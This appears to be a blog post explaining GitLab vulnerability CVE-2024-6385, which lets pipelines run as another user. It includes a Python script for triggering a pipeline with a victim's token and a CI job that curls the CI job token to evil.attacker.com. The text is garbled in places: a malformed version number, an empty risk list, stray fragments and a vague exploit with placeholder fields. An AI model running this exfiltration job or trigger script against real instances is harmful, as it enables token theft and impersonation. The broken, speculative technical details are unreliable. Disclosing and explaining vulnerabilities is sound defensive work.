A serious security vulnerability was found in GitLab Community Edition (CE) and Enterprise Edition (EE): CVE-2024-6385. This flaw lets attackers trigger CI/CD pipelines as if they were another user — potentially an administrator, maintainer, or any project member — under some conditions. That means a malicious actor can *impersonate* their victim, run jobs under their identity, and possibly access secrets or resources they shouldn’t. This post will explain how the vulnerability works, provide a code snippet showing the exploit in action, and share all you need to stay secure.

Official Disclosure and Timeline

- Disclosed by: GitLab Security Team
- CVE: CVE-2024-6385 on NVD

References

- GitLab security release 16.11.6, 17..4, 17.1.2
- NVD entry: CVE-2024-6385

What’s CVE-2024-6385? (The Vulnerability in Plain English)

GitLab allows users to set up pipelines — automated sets of jobs that run as different users depending on who triggers them. Normally, the *pipeline user context* matters, since only that user’s permissions and secrets should be exposed to the jobs.

The flaw: Under specific situations, GitLab failed to correctly validate who was triggering certain pipelines. That meant an attacker could POST a specially crafted request and make GitLab believe *another user* triggered the pipeline.

In practice, if an attacker exploited this, the jobs in the pipeline would run as the impersonated user, exposing their tokens, secrets, deployment keys, and more.

Who’s at Risk?

If you manage a GitLab instance (self-hosted or enterprise), and you’re running a version in the affected range, your secrets and workflows could be compromised — especially if:

Exploit Details: How the Attack Works

The attack exploits insufficient checks when pipelines are triggered via GitLab’s API endpoints or webhooks.

Typical Exploitation Steps

1. Attacker Identifies a Target Project: Victim’s project must allow pipelines to be triggered (for instance, via merge requests or API).
2. Crafts Special API Request: The attacker forges an API request or webhook that tricks GitLab into running a pipeline as the victim user.
3. Pipeline Runs As Victim: The pipeline starts, and all jobs inherit the victim’s privileges, tokens, and secrets.
4. Secrets Leak Out: The attacker crafts the pipeline job to echo out secrets (e.g., environment variables, access tokens).

Simple Exploit Code Example

Below is a Python script demonstrating how an attacker could exploit the bug using the GitLab API. *(Note: DO NOT USE against systems you don’t own! This is for educational/research purposes and to help defenders understand how to spot real attacks.)*

import requests

GITLAB_URL = 'https://gitlab.example.com';
PROJECT_ID = '123'  # Target project
ATTACKER_TOKEN = 'glpat-xxxxxx'  # Attacker's personal access token

def trigger_impersonated_pipeline():
    api_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/trigger/pipeline"
    # The key part: use a trigger token belonging to the victim user
    data = {
        "ref": "main",
        "token": "VICTIM_TRIGGER_TOKEN",  # Attacker has leaked/got this token
        # ...additional crafted fields as required by the vulnerable version...
    }
    headers = {
        "Authorization": f"Bearer {ATTACKER_TOKEN}",
    }
    r = requests.post(api_url, headers=headers, data=data, verify=False)
    print(r.status_code, r.text)

# The attacker runs this after discovering the victim's trigger token or exploiting related weaknesses
trigger_impersonated_pipeline()

Note: In vulnerable GitLab versions, controls were so lax that an attacker may not even need the victim’s actual token in some scenarios: spoofed API requests or missing validation let the pipeline go as another user simply based on manipulated headers or parameters.

What Can the Attacker Actually Do?

- Access environment variables/secrets belonging to the victim

Pivot to additional attacks (phishing, privilege escalation)

If your pipelines perform *anything sensitive* as a specific user, this is a very high-impact bug.

Real-World Example: Stealing a Deployment Token

Imagine *Bob* is a project maintainer whose personal token is used in deployment jobs via $CI_JOB_TOKEN. An attacker submits a malicious pipeline, steals $CI_JOB_TOKEN, and uses it to clone private repos or deploy malware.

Sample .gitlab-ci.yml (attacker’s fork/PR)

stages:
  - steal

steal_secrets:
  stage: steal
  script:
    - echo "CI Job Token: $CI_JOB_TOKEN" | tee /tmp/leak.txt
    - curl -d "@/tmp/leak.txt" http://evil.attacker.com/leak

If this job runs as Bob (the victim), it leaks his token. Thanks to CVE-2024-6385, this is possible in vulnerable GitLab versions.

17.1.2

- Download official releases here

Limit pipeline jobs’ permissions (use least privilege)

- Rotate all sensitive tokens/secrets stored in GitLab or used in your pipelines

Final Thoughts

CVE-2024-6385 is a dangerous vulnerability — especially for organizations that trust their pipelines with secrets or deployment capabilities. Now that details are public, threat actors may attempt to exploit unpatched servers. Make sure you’ve patched, rotated credentials, and keep a watchful eye on your pipelines.

References

- GitLab official advisory
- GitLab Upgrading Guide
- NVD entry for CVE-2024-6385


Want a one-line summary?

Timeline

Published on: 07/11/2024 07:15:06 UTC
Last modified on: 07/12/2024 16:49:14 UTC